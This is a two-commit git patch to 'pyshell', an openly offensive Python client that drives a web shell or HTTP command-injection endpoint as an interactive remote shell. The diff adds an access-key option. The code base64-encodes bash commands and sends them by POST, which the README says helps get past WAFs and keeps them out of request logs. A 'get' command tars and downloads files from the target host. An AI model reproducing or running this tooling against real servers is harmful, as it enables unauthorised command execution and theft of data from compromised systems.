From 0f867d69b208332510bd5e1b9f9e8ea12b386de8 Mon Sep 17 00:00:00 2001 From: 111a5ab1 Date: Thu, 30 Mar 2017 14:41:41 +1000 Subject: [PATCH 1/2] Added shell access key command-line option --- pyshell.py | 35 ++++++++++++++++++++++++----------- 1 file changed, 24 insertions(+), 11 deletions(-) diff --git a/pyshell.py b/pyshell.py index 9e27978..0aa22c0 100644 --- a/pyshell.py +++ b/pyshell.py @@ -1,3 +1,4 @@ +import argparse import atexit import base64 import os @@ -11,12 +12,18 @@ from threading import Thread from time import strftime -if len(sys.argv) != 2: - print('\nUsage: python3 {} URL\n'.format(sys.argv[0])) - print('For example:\npython3 {} {}\n'.format(sys.argv[0], 'http://192.168.56.101/shell.php')) - exit(0) -else: - url = sys.argv[1] +parser = argparse.ArgumentParser(description='Shellify Your HTTP Command Injection!', epilog=('For example:\npython3 %s https://192.168.56.101/shell.php -k G4ur5Mhxmb7ZsWt/h+OMDhzTDuLKEbrvmBlD0yoVslQ' % sys.argv[0])) + +#parser._action_groups.pop() +#required = parser.add_argument_group('required arguments') +#optional = parser.add_argument_group('optional arguments') + +parser.add_argument('url', help='target URL') +parser.add_argument('-k', '--key', dest="key", help='shell access key') +args = parser.parse_args() + +url = args.url +key = args.key downloads_directory = "downloads" @@ -84,7 +91,7 @@ def tabCompleterThread(): def populateTabComplete(path): global tab_complete; - entries = makeRequest(20, 'bash', '-c "cd {} && ls -p"'.format(path)).split("\n")[:-1] + entries = makeRequest(20, 'bash', '-c "cd {} && ls -p"'.format(path), key).split("\n")[:-1] if entries: tab_complete[path] = entries @@ -96,6 +103,7 @@ def populateTabComplete(path): def run(): global timeout global url + global key global current_path q.put('/') while True: @@ -123,7 +131,7 @@ def run(): continue if parts[0] == 'get': path_to_download = os.path.abspath(os.path.join(current_path, parts[1])).strip() - tgz = makeRequest(timeout, 'tar', 'cz {}'.format(path_to_download), noDecode=True) + tgz = makeRequest(timeout, 'tar', 'cz {}'.format(path_to_download), key, noDecode=True) filename = path_to_download.replace('/', '_')+'.'+strftime("%Y%m%d%H%M%S")+'.tgz' if not os.path.exists(downloads_directory): os.makedirs(downloads_directory) @@ -140,13 +148,18 @@ def run(): cmd = 'bash' opts = '-c "cd {} 2>&1 && {} 2>&1"'.format(current_path, inputstr.replace('"', '\\"')) - result = makeRequest(timeout, cmd, opts) + result = makeRequest(timeout, cmd, opts, key) print("{}{}".format(bcolors.ENDC, result)) -def makeRequest(timeout, cmd, opts, noDecode=False): +def makeRequest(timeout, cmd, opts, key, noDecode=False): + if key is None: + post_cmd = 'cmd' + else: + post_cmd = key+'cmd' + requestData = urllib.parse.urlencode({ 'timeout': timeout, - 'cmd': base64.b64encode(cmd.encode('ascii')).decode(), + post_cmd: base64.b64encode(cmd.encode('ascii')).decode(), 'opts': base64.b64encode(opts.encode('ascii')).decode() }).encode('ascii') From 2c1463d6585a38e9953a913a32f4ae6b5c946c06 Mon Sep 17 00:00:00 2001 From: 111a5ab1 Date: Thu, 30 Mar 2017 14:54:39 +1000 Subject: [PATCH 2/2] Added shell access key command-line option --- README.md | 25 +++++++++++++++++++++++-- 1 file changed, 23 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index 9d9b6ed..83881c4 100644 --- a/README.md +++ b/README.md @@ -9,11 +9,11 @@ painful. The goal is to make it feel as much like an interactive shell as possible. Commands are base-64 encoded to help deal with WAFs, and are submitted as POST requests to be less visible in request logs. -Usage is `python3 pyshell.py URL` where URL points to a script which performs +Usage is `python3 pyshell.py URL [-k key]` where URL points to a script which performs the command injection, something like this: ``` - + ``` The server-side script should accept the following parameters: @@ -21,6 +21,27 @@ The server-side script should accept the following parameters: - `opts`: the options to provide to cmd, also base64 encoded - `[timeout]`: optional, denotes the number of seconds to wait for a command +## Restricting access to the shell + +To restrict access to the shell put a value in `$key` and pass the value to +pyShell with `-k`: + +First generate a random key. On GNU/Linux to generate a 32 byte (256 bit) key you can do this: +``` +% dd if=/dev/urandom bs=1 count=32 2>/dev/null | base64 -w 0 | rev | cut -b 2- | rev +G4ur5Mhxmb7ZsWt/h+OMDhzTDuLKEbrvmBlD0yoVslQ +``` + +Set `$key` to your random key: +``` + +``` + +Pass the key variable to PyShell: +``` +% python3 pyshell.py http://192.168.56.101 -k G4ur5Mhxmb7ZsWt/h+OMDhzTDuLKEbrvmBlD0yoVslQ +``` + ## USAGE DEMO: ![Screencast](pyshell-usage.gif)